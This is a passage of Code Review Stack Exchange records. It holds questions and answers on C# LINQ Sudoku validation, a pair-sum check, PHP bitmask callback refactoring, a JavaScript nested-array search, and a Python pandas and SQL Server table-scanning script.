(10, 50, 150, 0.4),\n (10, 50, 200, 0.6),\n ...\n (50, 200, 200, 0.4),\n (50, 200, 250, 0.6),\n (50, 200, 250, 0.5),\n (50, 200, 250, 0.4)]\n&gt;&gt;&gt; len(arguments)\n81\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T19:59:21.717", "Id": "452980", "Score": "0", "body": "thank you! one brief follow-up, creating an instance of Pool 'just once' definitely looks cleaner, but is it also 'safer' somehow wrt to threading as compared with creating a new instance under a loop?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T20:25:15.163", "Id": "452984", "Score": "0", "body": "@Quetzalcoatl That I don't know, I'm not too aware of different threading options and backends, I just know this one works :')" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T08:00:25.183", "Id": "232048", "ParentId": "231995", "Score": "2" } } ]
{ "AcceptedAnswerId": "232048", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T04:56:03.543", "Id": "231995", "Score": "5", "Tags": [ "python", "statistics", "simulation", "multiprocessing" ], "Title": "Gamblers ruin, parallel compute trials" }
231995
<p><a href="https://en.wikipedia.org/wiki/Sudoku" rel="nofollow noreferrer">WiKi</a> and <a href="https://github.com/dmitrynogin/sudoku" rel="nofollow noreferrer">GitHub</a>.</p> <p>Sudoku rules are being checked with the following tests:</p> <pre><code> [TestMethod] public void Be_Valid() { var data = new int?[,] { { 5, 3, null }, { 6, null, null }, { null, 9, 8 } }; var board = new Board(data); Assert.IsTrue(board.Valid); } </code></pre> <p>And:</p> <pre><code> [TestMethod] public void Be_Invalid() { var data = new int?[,] { { 5, 3, 8 }, { 6, null, null }, { null, 9, 8 } }; var board = new Board(data); Assert.IsFalse(board.Valid); } </code></pre> <p>Where actual implementation looks like:</p> <pre><code>public class Board { public Board(int?[,] cells) { Cells = cells ?? throw new ArgumentNullException(nameof(cells)); if(Cells.GetLength(0) != Cells.GetLength(1)) throw new ArgumentNullException(nameof(cells), "Square board required."); if (Cells.GetLength(0) % 3 != 0) throw new ArgumentNullException(nameof(cells), "Board size should be multiple of 3."); } int? [,] Cells { get; } int N =&gt; Cells.GetLength(0); public bool Valid =&gt; ColumnsValid &amp;&amp; RowsValid &amp;&amp; GridsValid; bool RowsValid =&gt; Rows.All(AreUnique); bool ColumnsValid =&gt; Columns.All(AreUnique); bool GridsValid =&gt; Grids.All(AreUnique); IEnumerable&lt;IEnumerable&lt;int&gt;&gt; Rows =&gt; Range(0, N).Select(r =&gt; Numbers(0, N - 1, r, r)); IEnumerable&lt;IEnumerable&lt;int&gt;&gt; Columns =&gt; Range(0, N).Select(c =&gt; Numbers(c, c, 0, N - 1)); IEnumerable&lt;IEnumerable&lt;int&gt;&gt; Grids =&gt; from r in Range(0, N / 3) from c in Range(0, N / 3) select Numbers( c * 3, c * 3 + 2, r * 3, r * 3 + 2); bool AreUnique(IEnumerable&lt;int&gt; numbers) =&gt; numbers.Distinct().Count() == numbers.Count(); IEnumerable&lt;int&gt; Numbers(int left, int right, int top, int bottom) =&gt; from r in Range(top, bottom - top + 1) from c in Range(left, right - left + 1) where Cells[r, c].HasValue select Cells[r, c].Value; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T04:05:44.137", "Id": "452892", "Score": "0", "body": "Where does `Range` come from? Did you mean `Enumerable.Range`?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T04:08:10.267", "Id": "452893", "Score": "1", "body": "@tinstaafl yes, exactly. You could see all the code by clicking the github link on above." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T10:19:42.880", "Id": "452914", "Score": "0", "body": "@DmitryNogin: Please post all relevant code, don't hide it behind a link. Links can decay, potentially rendering the question unintelligible for posterity's sake." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:05:40.820", "Id": "452923", "Score": "0", "body": "Without correct compilable code being shown in your post,not referenced through a link, your post is off topic." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T13:18:05.140", "Id": "452936", "Score": "0", "body": "@tinstaafl @Flater It is correct and compilable. And no one ever being posting required `using` directives here. I bet you need to declare off topic all the C# related content. I wish you a good luck in that :)" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T05:28:43.127", "Id": "231996", "Score": "5", "Tags": [ "c#", "functional-programming", "linq" ], "Title": "Implement Sudoku using LINQ" }
231996
<p>LINQ/FP style:</p> <pre><code>Assert.IsTrue(new[] {1,2,3}.AnyPairSum(4)); </code></pre> <p>Where:</p> <pre><code>static class LinqDemo { public static bool AnyPairSum(this IEnumerable&lt;int&gt; source, int sum) { var a = source.OrderBy(i =&gt; i).ToArray(); return scan(0, a.Length - 1); bool scan(int l, int r) =&gt; l &gt;= r ? false : a[l] + a[r] &gt; sum ? scan(l, r - 1) : a[l] + a[r] &lt; sum ? scan(l + 1, r) : true; } } </code></pre>
[]
[ { "body": "<p>Your algorithm isn't the most efficient out there. </p>\n\n<p>As you process the input, you can keep track of the numbers you have already seen and which numbers would complement those to sum to <code>x</code>. For instance, in your example, <code>x=4</code>: You read <code>1</code>, you know that if you encounter a <code>x - 1 = 3</code>, you have found a pair. Next you read a <code>2</code>, you know that if you encounter a <code>x - 2 = 2</code>, you have found a pair. Then you encounter a <code>3</code>, which we knew we needed earlier. We can return <code>true</code>.</p>\n\n<p>In code:</p>\n\n<pre><code>public static bool AnyPairSumAlternative(this IEnumerable&lt;int&gt; source, int sum) {\n var complements = new HashSet&lt;int&gt;();\n foreach(var item in source) {\n if (complements.Contains(item)) {\n return true;\n }\n try {\n checked {\n complements.Add(sum - item);\n }\n } catch (OverflowException) {\n // If sum - item overflows, that means that no two ints together can sum to sum.\n // We swallow the exception and don't add anything to complements, since the complement\n // clearly doesn't exist within the data type.\n }\n }\n return false;\n}\n</code></pre>\n\n<p>This approach skips out of the sorting, and loops through the input list only once. Checking for inclusion in the Hashset is <span class=\"math-container\">\\$O(1)\\$</span>, so if I'm not mistaken, this takes the solution from <span class=\"math-container\">\\$O(n\\log n)\\$</span> to <span class=\"math-container\">\\$O(n)\\$</span>.</p>\n\n<p>As comment by @slepic points out, we need to be careful that <code>sum - item</code> doesn't overflow. If that happens, that automatically means that the complement cannot appear in the array, since it wouldn't fit in our datatype. To account for this, we can do the subtraction in <code>checked</code> context and catch any <code>OverflowException</code>. </p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T08:05:56.670", "Id": "452766", "Score": "4", "body": "Be aware that ints can underflow and overflow and the method should check for that. For example now it would yield true for sum=Int64.MinValue and the enumerator containing [Int64.MaxValue, 1], but Int64.MinValue is definitely not sum of the two." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T08:35:15.027", "Id": "452773", "Score": "0", "body": "@slepic good point. Thanks. I edited to account for this." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T19:19:54.377", "Id": "452850", "Score": "0", "body": "@slepic I don't believe ints can [underflow](https://en.wikipedia.org/wiki/Arithmetic_underflow)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T07:18:26.183", "Id": "452902", "Score": "0", "body": "@RyanM hmm, I guess underflow was confused with overflow at the negative side." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T16:48:23.403", "Id": "452960", "Score": "0", "body": "@Ryan Given that the wiki article lists absolutely no source for that claim, I wouldn't put much faith into it. CWE lists [Integer underflow](https://cwe.mitre.org/data/definitions/191.html) for example and using it to describe `Int.Min-1` seems perfectly fine to my ears." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T18:33:17.880", "Id": "452974", "Score": "0", "body": "@Voo Admittedly, it is sometimes used that way but IMO it's needlessly unclear to use the word to mean two completely different things depending on the type of math involved. In any case, in the context of C#, it's definitely called overflow -- just look at the exception that's thrown when it happens, and see that the language spec does not even contain the word \"underflow\"." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T19:06:58.773", "Id": "452976", "Score": "1", "body": "On the other hand, I think we all understand what was meant, so it's kinda splitting hairs either way." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T07:14:15.797", "Id": "231999", "ParentId": "231997", "Score": "12" } }, { "body": "<p>As part of you regular testing, since you are using recursion, you should run this code at a large input that creates many nested calls. C# doesn't <s>support</s> require tail call optimization, therefore the code will throw a stack overflow error. To fix this, switch to the usual <code>while</code> loop.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:28:33.777", "Id": "452840", "Score": "0", "body": "Yep, just tried to practice FP approach as stated in the question. C# is very far from to be really multi-paradigm language. The most missing parts for me are tail recursion (everything looks a way cleaner using it) and primary constructors (how I wish to have syntactically cheap classes to represent closures!)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T20:36:16.663", "Id": "452986", "Score": "1", "body": "\"C# doesn't support tail call optimization\" is wrong, particularly since RyuJit actually does exactly that optimization in some cases. What is true is that the language does not *require* TCO." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T07:58:46.437", "Id": "232000", "ParentId": "231997", "Score": "6" } } ]
{ "AcceptedAnswerId": "231999", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T05:39:05.830", "Id": "231997", "Score": "12", "Tags": [ "c#", "functional-programming", "linq" ], "Title": "Given an array A[] and a number x, check for pair in A[] with sum as x" }
231997
<p>I've made an POC about a bitmask implementation in order to replace a huge if/else statement.</p> <p>Those statements are about strings and I have almost 15 /20 string to test. Depends on values the if/else statement was about 1500 lines of code.</p> <p>After refactoring I was able to have only 20 objects and a map with all my callbacks in a "handler" class.</p> <p>The code is working well, but I'm sure it can be improved.</p> <pre><code> &lt;?php declare(strict_types=1); namespace App\Api\Application\Service; abstract class AbstractValue implements BitwiseCallback { protected $flag; public static function getFlag($value): BitwiseCallback { $class = get_called_class(); $var = new $class(); $var-&gt;bitValue = $value ? $var-&gt;flag : 0; return $var; } protected $bitValue; public function bitValue(): int { return $this-&gt;bitValue; } } </code></pre> <pre><code>&lt;?php declare(strict_types=1); namespace App\Api\Application\Service; interface BitwiseCallback { static function getFlag($value): BitwiseCallback; public function bitValue(): int; } </code></pre> <pre><code>&lt;?php declare(strict_types=1); namespace App\Api\Domain\ValueObject; use App\Api\Application\Service\VarA; use App\Api\Application\Service\VarB; use App\Api\Application\Service\VarC; use App\Api\Application\Service\VarX; /** * Object Calisthenics or how to use lookup map and biwise map to refactor a huge if statement. * Class Test * @package App\Api\Domain\ValueObject */ class Test { public function aMethod($values) { $a = VarA::getFlag($values[0]); $b = VarB::getFlag($values[1]); $c = VarC::getFlag($values[2]); $x = VarX::getFlag($values[5]); // and so on $flags = $a-&gt;bitValue() | $b-&gt;bitValue() | $c-&gt;bitValue(); $map = [ 1 =&gt; function() use ($a) { $a-&gt;doStuff(); }, 3 =&gt; function() use ($a, $b) { return $a-&gt;doStuff() . $b-&gt;doOtherStuff() . $a-&gt;toStuffWithB($b);}, 5 =&gt; function() use ($a, $c) { return $c-&gt;doStuff() . $b-&gt;doOtherStuff() . $c-&gt;toStuffWithB($b);}, // and so on 35 =&gt; function() use ($a, $b, $x) { return $x-&gt;sendEmailToAdmin($a, $b) ;} // and so on ]; $result = $map[$flags]; return $result(); } } </code></pre> <p>VarA / VarB / VarC/ and so on are like this</p> <pre><code>&lt;?php declare(strict_types=1); namespace App\Api\Application\Service; class VarA extends AbstractValue { protected $flag = 1; public function doStuff() { return "This is a correct answer ..."; } public function toStuffWithB($b) { return ' and you earned a bonus point !'; } } </code></pre> <pre><code>&lt;?php declare(strict_types=1); namespace App\Api\Application\Service; use App\Api\Application\Service\VarA; use App\Api\Application\Service\VarB; class VarX extends AbstractValue { protected $flag = 32; public function sendEmailToAdmin(VarA $a, VarB $b) { // do stuff with varB and varA because VarX has been triggered return "We correctly aknowledge your answer, you'll be notify soon by our customer services"; } } </code></pre> <p>I can't show the real code with the proper names but the implementation remains the same. But' the whole thing is about a quiz with a custom baseline to show depends on answers, each stuff to do are very different depends on the bits (store data to a file / send notification to admin / send a mail about an answer given and so on).</p> <p>So basically my class that handle the callback map is quite huge.</p> <pre><code>$map = [ 1 =&gt; function() use ($a) { $a-&gt;doStuff(); }, 3 =&gt; function() use ($a, $b) { return $a-&gt;doStuff() . $b-&gt;doOtherStuff() . $a-&gt;toStuffWithB($b);}, 5 =&gt; function() use ($c, $b) { return $c-&gt;doStuff() . $b-&gt;doOtherStuff() . $c-&gt;toStuffWithB($b);} // and so on ]; </code></pre> <p>this part is quite ugly (around 200 lines of code in my code) with a lot of context and $options.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:32:06.033", "Id": "452792", "Score": "0", "body": "Must $flag of every children of AbstractValue be different to each other? Does every VarX class have doStuff(), doOtherStuff() and toStuffWithB() methods? Or in other words, arent those methods meant to be abstract methods of AbstractValue? Does any of the mentioned methods need to do anything with $flag or $bitValue properties? Btw constructors cannot return values." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:37:22.470", "Id": "452795", "Score": "0", "body": "Also how is the index of `$map` related to which vars are in the `use()` block of the value callback? I thought it would be based on which flags are part of the index. Like 1 => $a because flag of VarA is 1, 3 => $a,$b because flags VarB is 2 and 1+2=3, but 5 => $c,$b yields 2+4=6, and they are in reverse order (not that it matters), but it confuses me, is there any relation at all?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T12:55:17.087", "Id": "452801", "Score": "0", "body": "@slepic $flag are different those are bits of the bitmask (1/2/4/8/16/32...) the $map uses those as an index to unsure that values are filled or not (and make the right calls), you've right about constructors This could be a basic method it was for the snippet ;) tell me if I forgot something" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:03:28.937", "Id": "452803", "Score": "0", "body": "And the methods? are they shared across all VarX classes? and why is there `5 => $c,$b` then? shouldn't it be `$a,$c`? And btw it would really help to show some more details, at least another VarX class to see their commons and differences." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:22:03.283", "Id": "452804", "Score": "1", "body": "Please don't change the code in the questions after an answer has been posted, https://codereview.stackexchange.com/help/someone-answers" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:30:19.117", "Id": "452806", "Score": "0", "body": "@slepic no, methods aren't shared across all varX, and yes thanks to pointed that out it is `$a, $c` for the index 5" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:33:33.203", "Id": "452807", "Score": "0", "body": "@pacmaninbw rules says : `Incorporating advice from an answer into the question violates the question-and-answer nature of this site.` Which I didn't I just fix the sample code to not confuse people, it's completely right in that case. Thanks for sharing btw." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:45:09.980", "Id": "452811", "Score": "0", "body": "And does any VarX class use $bitValue or $flag properties or bitValue() or getFlag() methods?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:47:54.620", "Id": "452812", "Score": "0", "body": "no neither of those methods are called inside the object it's for the handler to calculate the bitmask" } ]
[ { "body": "<p>As implied from the comments under OP, it means that VarA is completly unrelated to VarB, they do completly different things.</p>\n\n<p>If that is true, then it is all entirely obscured way of saying that based on some integer you need to do some arbitrary stuff. Arbitrary except that in all cases it returns a string.</p>\n\n<p>Then all you need is encapsulate each callback in an interface:</p>\n\n<pre><code>interface StringGenerator\n{\n public function getTheString(): string;\n}\n</code></pre>\n\n<p>Whether each implementation has the right dependencies that arise from bits that are set in the flags which drive which StringGenerator implementation is used is an implementation detail.</p>\n\n<pre><code>class GeneratorABX implements StringGenerator\n{\n private $serviceA;\n private $serviceB;\n private $serviceX;\n\n public function __construct($serviceA, $serviceB, $serviceX)\n {\n $this-&gt;serviceA = $serviceA;\n $this-&gt;serviceB = $serviceB;\n $this-&gt;serviceX = $serviceX;\n }\n\n public function getTheString(): string\n {\n return $this-&gt;serviceA-&gt;doStuff() . $this-&gt;serviceB-&gt;doOtherStuff() . $this-&gt;serviceX-&gt;toStuffWithB($this-&gt;serviceB);\n }\n}\n</code></pre>\n\n<p>Use a DI container to handle the instantiation of all the implementations of StringGenerator.</p>\n\n<pre><code>function setupContainer(): \\Psr\\Container\\ContainerInterface\n{\n $container = new ContainerBuilder();\n $container-&gt;addService('serviceA', ServiceA::class);\n $container-&gt;addService('serviceB', ServiceB::class);\n $container-&gt;addService('serviceX', ServiceX::class);\n //...\n $prefix = 'stringGenerator';\n $container-&gt;addService($prefix . '1', GeneratorA::class);\n $container-&gt;addService($prefix . '3', GeneratorAB::class);\n $container-&gt;addService($prefix . '5', GeneratorAC::class);\n $container-&gt;addService($prefix . '35', GeneratorABX::class);\n\n $container-&gt;addService('test', Test::class, ['prefix' =&gt; $prefix]);\n return $container-&gt;buildContainer();\n}\n</code></pre>\n\n<p>To compute flags from array of bools you can use this:</p>\n\n<pre><code>private static function getFlags(bool ...$values): int\n{\n $flags = 0;\n $flag = 1;\n foreach ($values as $value) {\n if ($value) {\n $flags |= $flag; // or $flags += $flag;\n }\n $flag = $flag &lt;&lt; 1; // or $flags *= 2;\n }\n return $flags;\n}\n</code></pre>\n\n<p>And to get the right generator:</p>\n\n<pre><code>private function getGenerator($flags): StringGenerator\n{\n return $this-&gt;container-&gt;get($this-&gt;prefix . $flags);\n}\n</code></pre>\n\n<p>Final result:</p>\n\n<pre><code>class Test\n{\n private $container;\n private $prefix;\n\n public function __construct(\\Psr\\Container\\CotainerInterface $container, string $prefix)\n {\n $this-&gt;container = $container;\n $this-&gt;prefix = $prefix;\n }\n\n public function aMethod($values)\n {\n $flags = self::getFlags(...$values);\n\n return $this-&gt;getGenerator()-&gt;getTheString();\n }\n\n // and the private methods mentioned earlier\n}\n</code></pre>\n\n<p>And call it like this:</p>\n\n<pre><code>$container = setupContainer();\n$result = $container-&gt;get(Test::class)-&gt;aMethod($values);\n</code></pre>\n\n<p>EDIT: Altogether it is a bit analogous to a router. Router is first setup with a bunch of routes. Upon request, the router choses which controller is to be invoked based on the request and the set of routes. Then the appropriate controller is invoked and response is returned to the caller. The Test class is the router. The setup is done via DI container. The StringGenerators are the controllers. The flags are the request. And the resulting string is the response.</p>\n\n<p>EDIT2: To avoid having a lot of StringGenerator implementations, we can instead have one method per each of the generators. Let me show a way how to do that:</p>\n\n<pre><code>class Test\n{\n private $map = [\n 1 =&gt; ServiceA::class,\n 2 =&gt; ServiceB::class,\n 32 =&gt; ServiceX::class,\n // ...\n ];\n\n private $container;\n\n public function __construct(\\Psr\\Container\\ContainerInterface $container)\n {\n $this-&gt;container = $container;\n }\n\n public function aMethod(array $values): string\n {\n $services = $this-&gt;getServices(...$values);\n return $this-&gt;getTheString($services);\n }\n\n private function getServices(bool ...$values): array\n {\n $services = [];\n $flag = 1;\n foreach ($values as $value) {\n if ($value) {\n $services[$flag] = $this-&gt;container-&gt;get($this-&gt;map[$flag]);\n }\n $flag = $flag &lt;&lt; 1; // or $flags *= 2;\n }\n return $services;\n }\n\n private function getTheString(array $services): string\n {\n $flags = \\array_sum(\\array_keys($services));\n $method = 'generate' . $flags;\n if (!method_exists($this, $method)) {\n throw new Exception('invalid combination of flags ' . $flags);\n }\n return $this-&gt;$method(...array_values($services));\n }\n\n private function generate1(ServiceA $a): string {}\n private function generate2(ServiceB $b): string {}\n private function generate35(ServiceA $a, ServiceB $b, ServiceX $x): string {}\n}\n\nfunction setupContainer(): \\Psr\\Container\\ContainerInterface\n{\n $container = new ContainerBuilder();\n $container-&gt;addService(ServiceA::class);\n $container-&gt;addService(ServiceB::class);\n $container-&gt;addService(ServiceX::class);\n //...\n return $container-&gt;buildContainer();\n}\n\n$container = setupContainer();\n$test = new Test($container);\n$result = $test-&gt;aMethod($values);\n</code></pre>\n\n<p>Or the same in a more general, more SOLID, although more verbose version:</p>\n\n<pre><code>interface ServiceProviderInterface\n{\n public function getServices(bool ...$values): array;\n}\n\nclass Services implements ServiceProviderInterface\n{\n private $map = [\n 1 =&gt; ServiceA::class,\n 2 =&gt; ServiceB::class,\n 32 =&gt; ServiceX::class,\n // ...\n ];\n\n private $container;\n\n public function __construct(\\Psr\\Container\\ContainerInterface $container)\n {\n $this-&gt;container = $container;\n }\n\n public function getServices(bool ...$values): array\n {\n $services = [];\n $flag = 1;\n foreach ($values as $value) {\n if ($value) {\n $services[$flag] = $this-&gt;container-&gt;get($this-&gt;map[$flag]);\n }\n $flag = $flag &lt;&lt; 1; // or $flags *= 2;\n }\n return $services;\n }\n}\n\ninterface StringGeneratorInterface\n{\n public function getTheString(array $services): string;\n}\n\nclass Methods\n{\n public function generate1(ServiceA $a): string {}\n public function generate2(ServiceB $b): string {}\n public function generate35(ServiceA $a, ServiceB $b, ServiceX $x): string {}\n}\n\nclass StringGenerator implements StringGeneratorInterface\n{\n private $methods;\n\n public function __construct(object $methods)\n {\n $this-&gt;method = $methods;\n }\n\n public function getTheString(array $services): string\n {\n $flags = \\array_sum(\\array_keys($services));\n $method = 'generate' . $flags; // could be a method name inflector responsibility\n if (!method_exists($this-&gt;methods, $method)) {\n throw new Exception('invalid combination of flags ' . $flags);\n }\n return $this-&gt;methods-&gt;$method(...array_values($services));\n }\n}\n\nclass Test\n{\n private $services;\n private $generator;\n\n public function __construct(ServiceProviderInterface $services, StringGeneratorInterface $generator)\n {\n $this-&gt;services = $services;\n $this-&gt;generator = $generator;\n }\n\n public function aMethod(array $values): string\n {\n $services = $this-&gt;services-&gt;getServices(...$values);\n return $this-&gt;generator-&gt;getTheString($services);\n }\n}\n\nfunction setupContainer(): \\Psr\\Container\\ContainerInterface\n{\n $container = new ContainerBuilder();\n $container-&gt;addService(ServiceA::class);\n $container-&gt;addService(ServiceB::class);\n $container-&gt;addService(ServiceX::class);\n //...\n $container-&gt;addService(Services::class);\n $container-&gt;addService(Methods::class);\n $container-&gt;addService(StringGenerator::class, ['methods' =&gt; Methods::class]);\n $container-&gt;addService(Test::class);\n return $container-&gt;buildContainer();\n}\n\n$container = setupContainer();\n$result = $container-&gt;get(Test::class)-&gt;aMethod($values);\n<span class=\"math-container\">```</span>\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T15:14:10.707", "Id": "452829", "Score": "0", "body": "So does this mean that you need a class (such as `class GeneratorABX`) for each possible combination of codes as well as the classed already defined (`ServiceA`)?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T15:17:09.547", "Id": "452830", "Score": "0", "body": "Well actualy no. There are more ways. You can also have just one class with a lot of methods. Methods like `public function generatorABX(): string;`. Let me edit and show that way as well. Anyway you are correct, `ServiceA` is analogue to your `VarA` except it knows nothing about flag and has no common parent with `ServiceB`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T15:18:25.053", "Id": "452831", "Score": "0", "body": "Isn't this the same as the bit where they are saying there are already 200 lines of the various entries in the `$map` - which is where your controller comes in." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T15:29:16.873", "Id": "452832", "Score": "0", "body": "@NigelRen you are sort of right. but it at least removes the coupling of the Test class and decesion which services are used. And coupling of the services from which flag they are assigned to is also removed. Neither of the coupling was necesary in the given use case, i believe. But if there is 200 scenarios you cant simply expect to get rid of 200 \"objects\", either it be closures, methods, or classes. Depending on their complexity either may be prefered..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T16:01:58.603", "Id": "452834", "Score": "0", "body": "@NigelRen added the version where each generator is just a method..." } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T14:58:29.433", "Id": "232018", "ParentId": "232003", "Score": "2" } }, { "body": "<p>I know this isn't a fancy OO solution with controllers and value objects, but this (IMHO) is a straight forward and simple solution which does exactly what it says on the tin.</p>\n\n<p>One of the big problems I have is that you almost seem to be cramming in loads of OO for very little gain. You have 20 classes, one for each variable with some processing. Now if that processing was specific to that variable and it sometimes can be fairly complex I could understand, but especially in your X class (I know this is just an example) you do something with both classes A and B - so firstly why is it in class X and not class A ( AB is in A ), but it also adds cross dependency of classes which doesn't fit with OO principles.</p>\n\n<p>In my version, the basic concept is the same, convert the sequence of answers to a bit mask and then do something based on that bitmap, but in this case the things it calls are firstly just basic functions. You can tune them to do whatever you want which allows you to build the OO structure based on real things (like entities, email etc.)...</p>\n\n<pre><code>// Function names are doStuffn - where n is the mask for the option\nfunction doStuff1() { \n return \"a\"; \n}\nfunction doStuff2() {\n return \"b\";\n}\nfunction doStuff3() {\n return \"ab\";\n}\nfunction doStuff5($values) {\n // Call the method to do whatever option 1 does, plus add the value\n // from option 1 and some text.\n return doStuff1().$values[0].\"ac\";\n}\n</code></pre>\n\n<p>Then the part which calls these...</p>\n\n<pre><code>// Calculate mask\n$mask = 0;\n$bit = 1;\nforeach ( $values as $answer ) {\n if ( $answer ) {\n $mask += $bit;\n }\n $bit &lt;&lt;= 1;\n}\n\n// Call the function based on the mask\n$fn = \"doStuff\".$mask;\nif ( function_exists($fn) ) {\n echo $mask . \"=&gt;\" . ($fn($values));\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T07:32:08.843", "Id": "232046", "ParentId": "232003", "Score": "0" } } ]
{ "AcceptedAnswerId": "232018", "CommentCount": "9", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T09:40:20.083", "Id": "232003", "Score": "2", "Tags": [ "php", "callback" ], "Title": "Bitmask, How to abstract those callbacks in this implementation" }
232003
<p>I wrote this map function, that should loop a very nested array of objects and find and exchange an item. To make my life easier, I also pass a path array: [1, 4, 7, 23] that shows in which id-s my nesting happens. The last id is the item I need to swap. Here is my function:</p> <pre><code>() =&gt; { const { id, parentPath, question } = action; const fullPath = parentPath.concat(id); const findAndReplaceInSurveyItems = (item) =&gt; { if (fullPath[0] === item.id) { // pop the value, we found a match: fullPath.shift(); // but we still need to continue searching... if (fullPath.length) { return { ...item, children: item.children.map(findAndReplaceInSurveyItems) }; } // we found our match! Exchange it to the payload :) return { ...item, question }; } return item; }; return { ...state, questionnaire: { ...state.questionnaire, surveyItems: state.questionnaire.surveyItems.map(findAndReplaceInSurveyItems) } }; } </code></pre> <p>I would love your opinion on speed and overall performance.</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:24:30.027", "Id": "232007", "Score": "1", "Tags": [ "javascript" ], "Title": "Search in deeply nested array by array of \"path ids\" and exchange it" }
232007
<pre><code># Stack Overflow ''' Goal: pull back all tables in a database where column name 'Audit Report' == 'complete' Why is this a script: There are over 1000 tables in the database with the same structure this script will automate checking which reports have a 'complete' under the column name 'Audit Report' This script will: 1) pull down all of the tables in a database 2) pull down all of the column names per table 3) create a dataframe 4) filter to all tables that contain a column name 5) run a dynamic sql query based on filtered df 6) print out tablenames ''' # import modules import pandas as pd import pyodbc import time # connect to database conn = pyodbc.connect('Driver={SQL Server};' 'Server=111.11.111.11;' # servername 'Database=databasename;' # database name 'Trusted_Connection=yes;') # Initialize the list to populate listoftables = [] columnnames = [] # Step 1 # using the connection string # appending each table name to 'listoftables' # this step will give us all of the database tables cursor = conn.cursor() for row in cursor.tables(): listoftables.append(row.table_name) # Step 2 # using all of the tables, we now want all of the column names for x in listoftables: tempcolnames = [] # for each table, get all of the column names for row in cursor.columns(table = x): tempcolnames.append(row.column_name) columnnames.append(tempcolnames) # Step 3 # make a dataframe of the two lists df = pd.DataFrame( {'TableName': listoftables, 'col_names' : columnnames }) # Step 4 # filter to tables that are have 'Audit_Report' as a column name df['status'] = df.apply(lambda x: 1 if 'Audit_Report' in x['col_names'] else 0, axis =1 ) # auditreports will return a dataframe with all tables that have 'Audit_Report' as a column name auditreports = df[df['status'] == 1] # start time to get an idea for how long the query runs start_time = time.time() # this is the 'shell' of the save location merged=pd.DataFrame() # Step 5 # this is the iterative sql loop we are going to run for table in auditreports['TableName']: df = pd.read_sql_query(''' select * from [dbo].[{}] where Audit_Report = 'Complete' '''.format(table, username), conn) # checking if the query pulled down any data if len(df) &gt; 0: df['TableName'] = table merged=pd.concat([merged,df], sort=False) # if it does have data we store it in 'merged' if it does not, the 'else' is implied as 'do nothing' # we dont need to say, else if all was want to do is 'do nothing' # waiting a tenth of a second to keep from overloading server or computer time.sleep(.1) # how long the query took to run minutes = (time.time() - start_time)/60 print('query took: ' + str(minutes) + ' minutes') # Step 6 # print all reports that have been audited merged </code></pre> <p><strong>Concerns:</strong> Are my comments understandable? </p> <p><strong>Potential #TODO:</strong> this is considered a <em>Script</em>, how can I take this script and make it more flexible and create a method or Class that I can throw some kwargs and make it more program-like. What part of the script would be the easiest to turn into a method? </p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:48:17.193", "Id": "232012", "Score": "2", "Tags": [ "python", "object-oriented", "sql", "pandas" ], "Title": "Python Wrapper for Dynamic SQL" }
232012
